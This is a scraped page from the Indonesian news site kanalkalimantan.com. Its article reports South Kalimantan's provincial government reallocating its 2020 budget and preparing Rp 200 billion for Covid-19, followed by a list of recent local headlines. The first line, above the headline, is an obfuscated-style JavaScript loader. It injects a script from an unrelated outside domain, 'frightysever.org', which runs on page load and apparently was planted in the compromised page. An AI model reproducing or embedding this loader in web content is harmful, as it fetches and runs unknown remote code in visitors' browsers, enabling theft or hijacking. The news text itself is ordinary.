(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Refocusing Anggaran, 200 Miliar Disiapkan Pemprov Kalsel Hadapi Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalsel H Sahbirin Noor telah menginstruksikan untuk melakukan refocusing anggaran belanja tahun 2020, guna mendukung pencegahan, pengendalian, dan penanganan Covid-19.

Sekretaris Daerah Provinsi Kalsel Abdul Haris Makkie saat video conference dengan Kementerian Dalam Negeri mengatakan, pihaknya saat ini tengah melakukan refocusing anggaran, diantaranya terkait kegiatan yang tidak bersentuhan secara langsung terhadap masyarakat.

“Juga, efesiensi perjalanan dinas minimal 30 persen serta kegiatan-kegiatan yang dapat ditunda akan ditunda,” paparnya, Jum’at (3/4/3020) sore.

Berdasarkan refocusing tersebut, Pemprov menyiapkan anggaran Rp 200 miliar untuk mendukung penanganan Covid-19. “Kita siapkan anggaran Rp 200 miliar untuk penanganan Covid-19 ini,” beber Haris.

Baca Juga : Gubernur Kalsel Siapkan Anggaran Rp 56 Miliar untuk Penanganan Covid-19

Sebelumnya, Gubernur Kalsel menyatakan bahwa awalnya pihaknya telah menyiapkan anggaran sebesar Rp 56 miliar dalam menghadapi pandemi virus corona. Namun, rupanya melalui skema pergesaran anggaran kembali dilakukan, Pemprov Kalsel menetapkan untuk menggelontorkan biaya Rp 200 miliar.

Pemprov Kalsel dan Tim Gugus Tugas P3 Covid-19 Kalsel sudah melaksanakan arahan dari pemerintah pusat, baik yang disampaikan langsung oleh presiden maupun dari Kemendagri.

Pemprov Kalsel juga sudah melakukan peningkatan kapasitas, seperti penyediaan gedung untuk karantina ODP yang memiliki gejala klinis dan pemberian intensif bagi tenaga medis.

“Pemprov Kalsel dan Tim Gugus Tugas sudah melaksanakan arahan dari pemerintah pusat, baik yang disampaikan langsung oleh presiden maupin dari Kemendagri,” tambah Haris.

Dirjen Otda, Drs Akmal Malik Msi saat memimpin rapat video conference mengatakan bahwa agenda utama dalam rapat kali ini terkait refocusing APBD dalam menanggulangi Covid-19, serta mempertegas surat edaran dari Mendagri terkait penanggulangan Covid 19 di daerah.

Kemendagri mengimbau agar pemerintah daerah berkoordinasi dengan Forkopimda, Ormas, tokoh masyarakat, tokoh agama, untuk menyosialisasikan kepada masyarakat agar tidak mudik.

“Kami mengimbau kepada pemda untuk menyosialisasikan kepada masyarakat agar tidak mudik, jika sudah terlanjur mudik maka ia ditetapkan sebagai ODP,” ujarnya.

Kemendagri berharap, masyarakat diedukasi agar tidak memberikan stigma negatif atau buruk terhadap orang yang tersandung kasus Covid-19.

“Menanggulangi pademi covid-19 ini, diperlukan sinergi antar pemerintah pusat dan pemda,” ucapnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

5 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

5 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

6 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

6 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

20 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.